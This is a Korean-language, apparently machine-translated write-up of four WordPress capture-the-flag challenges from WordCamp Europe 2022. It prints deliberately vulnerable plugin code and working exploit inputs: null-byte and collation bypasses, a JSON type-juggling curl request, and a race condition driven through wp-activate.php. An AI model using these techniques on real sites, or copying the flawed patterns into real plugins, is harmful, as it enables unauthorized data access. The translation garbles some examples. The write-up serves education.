WordCamp Europe 2022에서 깃발을 뺏다

게시 됨: 2022-06-13

WordCamp Europe 2022에서 우리는 4가지 챌린지에서 WordPress CTF(Capture The Flag) 대회를 진행했습니다.

우리는 사람들에게 CTF의 중독성 있는 세계를 소개하고 사람들이 코드에서 이상한 점을 찾고 그것들을 결합하여 이상하고 때로는 반직관적인 일을 하는 것과 같이 보안 연구원이 버그 헌팅에 접근하는 방법을 경험할 수 있도록 하고 싶었습니다.

도전 #1 - 당신은 운이 좋습니까?

과제 #2 - 차단 목록 우회?

과제 #3 - 깃발을 탈취할 수 있는 라이선스

과제 #4 – CTF 라이선스: 2부

시도하는 데 관심이 있다면 여기에서 챌린지 파일을 얻을 수 있습니다.

hackismet-docker.zip다운로드

도전 #1 – 당신은 운이 좋습니까? (250점)

관련 코드 조각

 register_rest_route( 'hackismet', '/am-i-lucky', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_am_i_lucky',
     'permission_callback' => '__return_true',
 ]);

 function hackismet_am_i_lucky( $request ) {
     $flag = get_option( 'secret_hackismet_flag_2' );
     if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
        return rest_ensure_response( $flag );
     }
     return rest_ensure_response(false);
 }

어떻게 해결할 수 있습니까?

이 챌린지는 /wp-json/hackismet/am-i-lucky 경로를 통해 액세스할 수 있는 REST API 엔드포인트를 제시했습니다. 페이로드 및 해시 요청 매개변수를 수신하고 request['payload'] 를 플래그 및 암호화된 32개의 암호화된 임의 바이트 문자열에 연결하고 결과 해시를 request['hash'] 와 비교하도록 설계되었습니다.

crypt() 함수의 문서를 읽으면 이 함수가 바이너리 안전하지 않다는 것을 알 수 있습니다. 32개의 임의 바이트. 이는 PHP에서 해당 함수의 현재 구현이 기본적으로 동일한 이름의 기본 C 함수의 별칭이고 C 문자열이 null 바이트로 종료되기 때문입니다.

플래그를 얻으려면 제어하는 ​​메시지와 플러그인 코드에 사용된 암호화 솔트로 해시를 계산하고 "해시" 매개변수에 결과 해시를 사용하고 "페이로드"에 메시지를 넣으면 됩니다. 널 바이트(%00)로 연결된 매개변수.

다음은 성공적인 익스플로잇의 모습입니다.

/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/

과제 #2 - 차단 목록 우회? (250점)

관련 코드 조각

 register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_get_option',
     'permission_callback' => 'hackismet_validate_option',
 ]);

 function hackismet_validate_option( $request ) {
     $option_key = trim( strtolower( $request['option_key'] ) );
     if( empty( $option_key ) ) {
        return false;
     }
 
     if( ! preg_match( '/^hackismet_/i', $option_key) ) {
        return false;
     }
 
     if( $option_key == 'hackismet_flag_1' ) {
        return false;
     }
     return true;
 }

 function hackismet_get_option( $request ) {
    $option_key = trim( strtolower( $request['option_key'] ) );
    return rest_ensure_response( get_option( $option_key ) );
 }

어떻게 해결할 수 있습니까?

이 챌린지는 /wp-json/hackismet/get-option/option_key_you_want 를 통해 액세스할 수 있는 REST API 엔드포인트를 제시했습니다.

목표는 매우 간단했습니다. "hackismet_flag_1" 옵션을 누출하려고 합니다.

불행히도 해당 끝점에 대한 권한 콜백은 사이트에서 단순히 옵션을 가져오는 것을 방지하기 위해 몇 가지 작업도 수행했습니다.

  • 옵션 키가 "hackismet_"으로 시작하는지 확인했습니다.
  • 또한 검색하려는 옵션이 플래그가 있는 hackismet_flag_1이 아님을 확인했습니다.
  • 상황을 더 어렵게 보이게 하기 위해 API 경로는 option_key 경로 매개변수에서 만들 수 있는 문자를 제한하고 \w+ 정규식과 일치하는 문자열만 허용했습니다.

"hackismet_validate_option" 콜백 함수도 "option_key" 매개변수를 정규화하기 위해 "strtolower" 및 "trim" 함수를 사용했습니다. 이것은 문자열 비교가 대소문자를 구분하지 않고 VARCHAR 열의 후행 공백도 신경 쓰지 않는다는 사실과 같이 MySQL의 "utf8mb4_unicode_ci" 데이터 정렬에서 잘 문서화된 동작을 사용하려는 시도를 방해하기 위한 것입니다.

기타 데이터 정렬 트릭

이 문제를 해결하기 위해 "utf8mb4_unicode_ci"가 문자열 검색을 수행하여 검사를 우회하는 방식에서 다른 특성을 찾아야 했으며 최소한 두 가지 방법이 있었습니다.

악센트 감도

공식 MySQL 문서에서 언급했듯이:

악센트 구분을 지정하지 않는 비이진 데이터 정렬 이름의 경우 대소문자 구분에 따라 결정됩니다.

간단히 말해서 악센트 감도는 문제입니다. WordPress의 기본 데이터 정렬은 "_ci" 구성 요소("대소문자 구분하지 않음"용)를 사용합니다. 즉, 데이터 정렬 악센트를 구분하지 않습니다.

따라서 "hackismet_flag_1"을 전달하면 hackismet_validate_option 의 검사를 우회할 수 있습니다.

무시할 수 없는 무게

유니코드 문자열을 비교하고 정렬하기 위해 MySQL의 utf8mb4_unicode_ci 데이터 정렬에서 사용하는 유니코드 데이터 정렬 알고리즘은 "무시할 수 있는 가중치"의 개념을 다음과 같이 설명합니다.


무시할 수 없는 가중치는 데이터 정렬 요소 시퀀스에서 정렬 키를 구성하는 규칙에 의해 전달됩니다. 따라서 데이터 정렬 요소의 존재는 결과 정렬 키를 사용하는 문자열 비교에 영향을 미치지 않습니다 . 데이터 정렬 요소에서 무시할 수 없는 가중치를 적절하게 할당하는 것은 UCA의 중요한 개념입니다.

간단히 말해서 알고리즘은 각 데이터 정렬 요소(문자)에 대한 가중치를 계산하고 그 중 일부는 기본 가중치가 0인 것으로 정의되어 문자열 비교를 수행할 때 알고리즘이 효과적으로 무시합니다.

다음을 포함하여 도전 과제를 이기기 위해 그 행동을 (ab) 사용하는 여러 가지 방법이 있었습니다.

  • 문자열 내부 어딘가에 널 바이트 추가(예: hackismet_fl%00ag_1 )
  • 문자열 내부에 잘못된 UTF-8 시퀀스 삽입(예: hackismet_fl%c2%80ag_1 )

MySQL의 UCA 구현에서 다른 많은 조합을 찾을 수 있습니다.

"option_key" 매개변수 문자 제한 우회

"option_key" 경로 변수는 \w+ 이외의 것은 통과하지 못하도록 정의되었습니다. 그게 문제였다. PHP는 MySQL처럼 모든 문자열을 유니코드 문자 대신 일련의 바이트로 취급하므로 "/wp-json/hackismet/get-option/hackismet_flag_1" 또는 "/wp-json/hackismet/get-option/hackismet_fla"로 요청을 보냅니다. %00g_1”이(가) 작동하지 않습니다.

이를 우회하기 위해 REST API 끝점 작성에 대한 WordPress의 공식 문서가 약간 도움이 되었습니다. 특히 다음과 같은 줄이 있습니다.

기본적으로 경로는 요청에서 전달된 모든 인수를 수신합니다. 이것들은 단일 매개변수 세트로 병합된 다음 끝점에 첫 번째 매개변수로 전달되는 Request 객체에 추가됩니다.

이것이 실제로 의미하는 바는 /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1 을 방문할 때 option_key 매개변수에는 "test"가 아닌 "hackismet_fla%00g_1"이 포함되며, 이는 또한 강제로 플래그를 제공하는 플러그인입니다.

챌린지 #3 – 깃발 탈취 허가(500점)

관련 코드 조각

 register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_generate_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_access_flag_3',
     'permission_callback' => 'hackismet_validate_license',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_delete_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 function hackismet_generate_license( $request ) {
     // 128 bits of entropy should be enough to prevent bruteforce.
     $license_key = bin2hex( random_bytes(40) );
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
     // Reset it.
     update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
     return rest_ensure_response('License successfully generated!');
 }

 function hackismet_delete_license( $request ) {
     // Remove existing key.
     delete_option('secret_hackismet_license_key_' . $request['session_id']);
     return rest_ensure_response('License successfully deleted!');
 }

 function hackismet_validate_license( $request ) {
    // Ensure a key has been set
    if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return new WP_Error('no_license', 'No license exists for this session_id!');
    }
    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }
    return false;
 }

 function hackismet_access_flag_3( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
 }

어떻게 해결할 수 있습니까?

이 도전의 이면에 있는 아이디어는 (매우) 고장난 라이선스 관리 및 검증 시스템을 시뮬레이션하는 것이었습니다.

이 챌린지는 참가자가 상당히 난해한 경쟁 조건 취약점을 악용할 수 있도록 하기 위한 것이지만 챌린지 설계자의 미묘한 감독으로 인해 의도하지 않은 덜 이국적인 솔루션을 사용하여 해결할 수 있게 되었습니다.

챌린지는 플래그를 가져오는 데 두 개만 필요하더라도 세 개의 엔드포인트를 제공했습니다.

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
  • /hackismet/access-flag-3/(?P<세션_id>[0-9a-f\-]+)/(?<라운드>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)

generate-license 끝점은 세션별 라이선스 키를 채웠으며 access-flag-3 끝점의 hackismet_validate_license 권한 콜백을 사용하여 유효성을 검사합니다. 불행히도 실제 생성된 라이센스 키가 무엇인지 볼 수 없었기 때문에 플래그를 얻으려면 라이센스 확인을 완전히 우회하는 방법을 찾아야 했습니다.

    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }

이를 수행하는 한 가지 방법은 $request['key'] 에 "true"의 부울 값을 포함하고 $request['rounds'] 값이 0인 것입니다. 이렇게 하면 $request['key']str_rot13 을 여러 번 호출하여 수정되지 않았는지 확인하고 라이선스 유효성 검사가 PHP의 느슨한 비교 연산자를 사용하여 수행되므로 비교 결과는 항상 true를 반환합니다.

그러나 일반 GET 또는 POST 매개변수에는 문자열이나 배열만 포함되어 있으므로 이를 수행할 수 없습니다. 다행스럽게도 WordPress REST API를 사용하면 GET HTTP 메서드만 사용하도록 등록된 엔드포인트에서도 JSON 요청 본문을 보낼 수 있습니다. 결과적으로 다음 요청을 보내면 챌린지 플래그가 제공됩니다.

curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'

과제 #4 – CTF 라이선스: 파트 2(500점)

관련 코드 조각

register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
    'methods' => WP_Rest_Server::READABLE,
    'callback' => 'hackismet_access_flag_4',
    'permission_callback' => 'hackismet_validate_license',
    'args' => [
        'session_id' => [
           'required' => true,
           'type' => 'string',
           'validate_callback' => 'wp_is_uuid'
        ],
        'key' => [
            'required' => true,
            'type' => 'string'
        ]
    ]
]);

 function hackismet_access_flag_4( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
 }

// (... and basically every other code snippets from Challenge #3! )

어떻게 해결할 수 있습니까?

이 과제는 세 가지 끝점을 제시했습니다( 실제로 세 가지를 모두 사용하여 해결해야 했습니다!).

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
  • /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)

보시다시피, 그것들은 마지막 챌린지와 매우 동일한 엔드포인트입니다. 이제 유일한 차이점은 $request['key'] 가 다른 챌린지에서 언급한 유형 저글링 문제를 방지하기 위한 문자열임을 확인한다는 것입니다.

자체 설명 delete-license 경로는 예상했던 대로 정확히 수행되었습니다. 즉, 데이터베이스에서 현재 라이선스를 제거합니다. 마찬가지로 access-flag-4 는 권한 콜백인 hackismet_validate_license 가 발생하도록 허용했다고 가정하고 단순히 플래그를 반환했습니다.

hackismet_validate_license 코드 스니펫에서 볼 수 있듯이 get_option 을 두 번 호출하는 권한 콜백은 라이선스 키를 확인하기 위해 설정되고 다른 하나는 이를 실제로 우리가 제공하는 것과 비교하기 위해 설정됩니다. 두 호출 모두 $request['rounds'] 경로 변수에 정의된 만큼의 라운드 동안 실행되는 str_rot13 루프로 구분됩니다.

이것은 우리가 /hackismet/delete-license 엔드포인트에 도달할 만큼 충분히 오랫동안 요청을 지연시키기 위해 round 변수에 큰 숫자를 보내 경쟁 조건이 발생하는 것을 가능하게 했고, 우리 자신과 비교되기 전에 라이선스를 효과적으로 삭제했습니다.

get_option() 이 주어진 옵션을 찾지 못하면 기본적으로 부울 false를 반환한다는 사실은 케이크 위의 체리입니다. 이 함수는 PHP에서 서로 다른 유형을 느슨하게 비교할 때 $request['key'] 가 비어 있는지 여부와 false == "" 여부를 확인하지 않으므로 보안 검사를 완전히 우회할 수 있습니다.

그러나 이것은 이론상일 뿐입니다!

캐싱을 구출합니다!

함수의 소스 코드에서 볼 수 있듯이 get_option 은 검색하는 옵션의 결과를 캐시하므로 동일한 HTTP 요청에서 해당 옵션에 대한 추가 요청은 별도의 추가 SQL 쿼리를 보내지 않습니다. 이것만으로도 경쟁 조건 공격이 작동하지 않습니다. 모든 str_rot13 호출을 반복하는 동안 다른 요청이 라이선스 옵션을 삭제하더라도 get_option은 해당 요청에 대한 결과가 이미 캐시되어 있기 때문에 알 수 없습니다!

다시 말하지만, 소스 코드를 보면 그런 일이 발생하지 않도록 하는 유일한 방법은 wp_installing이 반환하는 경우... true인 것 같습니다. 결과적으로 우리 그렇게 할 수 있습니다.

워드프레스가 아직 설치되어 있지 않습니까?

wp_installing 함수는 WP_INSTALLING 상수에 의존하여 WordPress가 현재 설치 중인지 또는 자체 업데이트 중인지 확인합니다. 이 상수가 정의된 위치를 검색하면 결과가 거의 나오지 않으며, 우리의 경우 가장 흥미로운 것은 wp-activate.php입니다.

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */
 
define( 'WP_INSTALLING', true );
 
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
 
require __DIR__ . '/wp-blog-header.php';
 
if ( ! is_multisite() ) {
    wp_redirect( wp_registration_url() );
    die();
}

여기서 우리의 목적에 특히 적합한 이유는 가장 먼저 수행하는 작업 중 하나가 wp-blog-header.php에서 require() 를 실행하는 것입니다.

간단히 말해서 REST API 서버를 실제로 시작하는 코드는 parse_request 작업에 연결되므로 WordPress가 루프가 작업을 수행하는 데 필요한 쿼리 변수를 내부적으로 설정할 때만 사용할 수 있습니다.

이것은 wp-blog-header.php에서와 같이 wp() 함수가 호출되는 경우에만 발생합니다.

내부적으로 WordPress는 rest_route 매개변수를 사용하여 로드할 경로를 알기 때문에 URL에 매개변수를 추가하기만 하면 /wp-activate.php를 방문하는 동안 API를 시작할 수 있습니다.

따라서 최종 공격은 다음과 같습니다.

  1. /wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$rounds 에 요청을 보내십시오. 여기서 $rounds 는 이 요청을 2단계를 수행할 수 있을 만큼 충분히 길게 실행하기에 꽤 큰 숫자입니다.
  2. 첫 번째 요청이 str_rot13 루프에서 차단되는 동안 /wp-json/hackismet/delete-license/$session_id 로 요청을 보냅니다.
  3. 첫 번째 요청이 완료될 때까지 기다렸다가 깃발을 받으세요.

결론

Jetpack 깃발 캡처 대회의 첫 번째 에디션을 진행했던 것만큼 즐겁게 참여하셨기를 바랍니다. 우리는 미래에 이것을 다시 할 수 있기를 기대합니다. CTF에 대해 자세히 알아보려면 CTF101.org를 확인하세요.

크레딧

챌린지 디자이너: 마크 몽파스

WordCamp Europe에서 직접 소문을 퍼트린 Harald Eilertsen과 피드백, 도움 및 수정을 위해 Jetpack Scan 팀에게 특별한 감사를 전합니다.